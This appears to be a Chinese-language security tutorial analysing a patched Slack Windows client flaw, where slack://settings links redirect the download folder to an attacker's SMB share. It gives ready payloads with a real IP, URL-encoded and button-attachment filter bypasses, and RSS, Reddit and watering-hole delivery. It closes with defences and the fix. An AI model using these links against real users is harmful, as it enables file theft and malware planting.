挖洞经验 | 利用Slack应用程序窃取Slack用户的下载文件
字数 1606 2025-08-18 11:38:41
Slack应用程序下载文件窃取漏洞分析及利用教学
漏洞概述
本教学文档详细分析2019年发现的Slack Windows客户端应用程序中的一个安全漏洞(CVE未公开),该漏洞允许攻击者通过精心构造的链接更改受害者的文件下载路径,从而窃取下载文件或植入恶意软件。
漏洞基本信息
- 影响版本: Slack Windows客户端v3.4.0之前版本
- 漏洞类型: 不安全链接处理导致的任意设置修改
- 危害等级: 高危
- 修复版本: Slack v3.4.0
漏洞原理分析
核心机制
Slack应用程序存在对slack://协议链接的不当处理,特别是slack://settings链接可修改应用程序设置而不进行充分验证。
关键代码模块
- protocol-link.ts: 处理
slack://协议链接的核心模块 - Settings-Reducer.ts: 负责应用程序设置变更的模块
具体漏洞点
通过构造slack://settings/?update={'PrefSSBFileDownloadPath':'<pathHere>'}格式的链接,可以修改Slack的文件下载路径设置,且:
- 可接受SMB共享路径作为合法路径
- 缺乏对远程路径的充分验证
- 修改操作无需用户二次确认
漏洞利用方法
基本利用步骤
-
构造恶意链接:
slack://settings/?update={'PrefSSBFileDownloadPath':'\\攻击者IP\共享目录'} -
欺骗用户点击:
- 通过Slack群组消息
- 通过RSS订阅推送
- 通过第三方网站跳转
-
收集窃取文件:
- 受害者所有通过Slack下载的文件将自动上传至攻击者控制的SMB服务器
高级利用技巧
绕过Slack链接过滤
-
方法一: 使用URL编码
slack://settings/?update=%7B%27PrefSSBFileDownloadPath%27%3A%27%5C%5C35.193.130.2%5Cshare%27%7D -
方法二: 通过附件伪装
{ "attachments": [ { "fallback": "Important update", "text": "Click here for important information", "actions": [ { "type": "button", "text": "View Details", "url": "http://legitimate.com", "style": "primary", "redirect_url": "slack://settings/?update={'PrefSSBFileDownloadPath':'\\\\攻击者IP\\share'}" } ] } ] }
扩大攻击范围
-
通过RSS订阅攻击:
- 在热门Reddit版块发布包含跳转链接的帖子
- 订阅该版块的Slack用户会收到更新通知
- 构造从合法链接到恶意链接的跳转链
-
水坑攻击:
- 在Slack用户常访问的网站植入恶意链接
- 利用iframe或JavaScript自动触发链接
攻击场景模拟
场景一:内部攻击(同一Slack群组)
- 攻击者加入目标公司Slack群组
- 发送看似正常的消息,内含伪装链接
- 受害者点击后,下载路径被修改为
\\攻击者IP\share - 攻击者等待受害者下载文件并自动收集
- 可选:替换文件为含恶意软件版本
场景二:外部攻击(通过RSS)
- 攻击者在热门Reddit版块发帖
- 帖子包含跳转到恶意Slack链接的URL
- 订阅该版块的Slack用户收到更新
- 用户点击后浏览器提示"打开Slack应用?"
- 用户点击"是"后设置被修改
防御与检测
用户防护措施
- 立即升级到Slack v3.4.0或更高版本
- 警惕不明链接,特别是
slack://协议链接 - 定期检查Slack下载路径设置
- 禁用不必要的SMB协议支持
企业防护方案
- 网络层拦截异常SMB外连
- 监控Slack设置变更日志
- 实施应用程序白名单策略
- 对Slack流量进行深度检测
技术细节补充
有效负载分析
slack://settings/?update={'PrefSSBFileDownloadPath':'\\35.193.130.2\apt'}
slack://: 触发Slack协议处理程序settings: 指定设置修改功能update: 参数名,表示要更新的设置PrefSSBFileDownloadPath: 下载路径设置项\\35.193.130.2\apt: 攻击者控制的SMB共享
SMB服务器配置要点
- 匿名共享设置
- 适当的写入权限
- 日志记录配置
- 文件自动收集脚本
漏洞修复分析
Slack在v3.4.0版本中修复此漏洞的主要措施:
- 增加对
PrefSSBFileDownloadPath设置变更的验证 - 禁止使用远程路径作为下载目录
- 对设置变更操作增加用户确认提示
- 改进链接处理的安全检查
法律与道德声明
本教学文档仅用于安全研究和技术教育目的。未经授权对他人系统进行测试或攻击是违法行为。研究人员发现漏洞后应遵循负责任的披露原则,通过合法渠道向厂商报告。